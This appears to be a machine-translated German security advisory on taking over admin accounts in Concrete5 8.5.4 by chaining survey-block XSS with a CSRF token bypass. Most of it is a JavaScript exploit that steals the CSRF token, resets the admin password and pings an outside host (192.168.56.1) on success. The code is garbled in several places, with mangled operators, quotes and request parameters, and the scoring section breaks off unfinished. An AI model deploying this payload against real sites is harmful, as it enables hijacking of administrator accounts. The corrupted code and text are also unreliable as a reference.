
Umfrage-XSS in Kombination mit CSRF führt zur Übernahme von Admin-Konten in Concrete5 8.5.4
Ein Administrator von Concrete CMS in Versionen vor 9 musste bei der Änderung des Passworts eines anderen Benutzers nicht sein eigenes Passwort angeben.
In Kombination mit CVE-2021-28145 ("Concrete CMS (formerly concrete5) before 8.5.5 allows remote authenticated users to conduct XSS attacks via a crafted survey block. This requires at least Editor privileges": Der Fix war in Version 8.5.5 enthalten.) ist es möglich, dass ein Benutzer mit niedrigen Berechtigungen, z. B. ein Entwickler oder ein öffentlicher Benutzer, der Umfragen erstellen kann, bösartigen JavaScript-Code in die Webanwendung einschleust. Die Ergebnisse der Umfragen können von einem Administrator in seiner Weboberfläche unter Berichte > Umfragen eingesehen werden. Der bösartige JavaScript-Code wird dort ebenfalls ausgeführt. Concrete5 verfügt über einen CSRF-Schutz, der sehr einfach umgangen werden kann, indem man das entsprechende Token von der Seite stiehlt, bevor man eine Anfrage ausführt. Da Concrete5 bei der Änderung des Kennworts nicht nach dem alten Kennwort fragt, ist es sehr einfach, das Administratorkennwort zu ändern.
var ccm_token = ";
var body = ";
var regex = /[0-9]{10}\:[a-f0-9]{32}/g;
var req = new XMLHttpRequest();
var req2 = new XMLHttpRequest();
req.open("GET","/concrete5-8.5.4/index.php/dashboard/users/search/view/1", true);
req.setRequestHeader("X-Requested-With", "XMLHttpRequest");
req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req. send();
req.onreadystatechange = function () {
if (req.readyState == 4 bb req.status == 200) {
body = req.responseText;
ccm_token = body.match(regex)[3];
}
};
setTimeout(() => {
confirm("Admin Account Takeover through XSS and CSRF Bypass in Concrete5 v.8.5.4 by Silky. CSRF Tok en: "+ccm_token);
req2.open("POST","/concrete5-8.5.4/index.php/dashboard/users/search/change_password/1", true);
req2.setRequestHeader("X-Requested-With", "XMLHttpRequest");
req2.setRequestHeader('Content-type', eapplication/x-www-form-urlencoded.);
req2.send("ccm_token="+ccm_token+"&uPassword=Demonstration_by_SilkyEruPasswordConfirm=Demonstration_ by_Silkyt_ccm_consider_request_as_xhr=1");
req2.onreadystatechange = function () {
if (req2.readyState == 4 bb req2.status == 200) {
body = req2.responseText;
if (body.includes("Password updated successfully.")){
console.log("Password updated successfully.");
var myImage = new Image(0, 0);
myImage.src = Ihttp://192.168.56.1:5686/Password_changed_successfullys;
}
else{
console.log("Something went wrong");
}
}
}
},2000);
CVSS-Bewertungen:
Daraus ergibt sich eine endgültige Bewertung von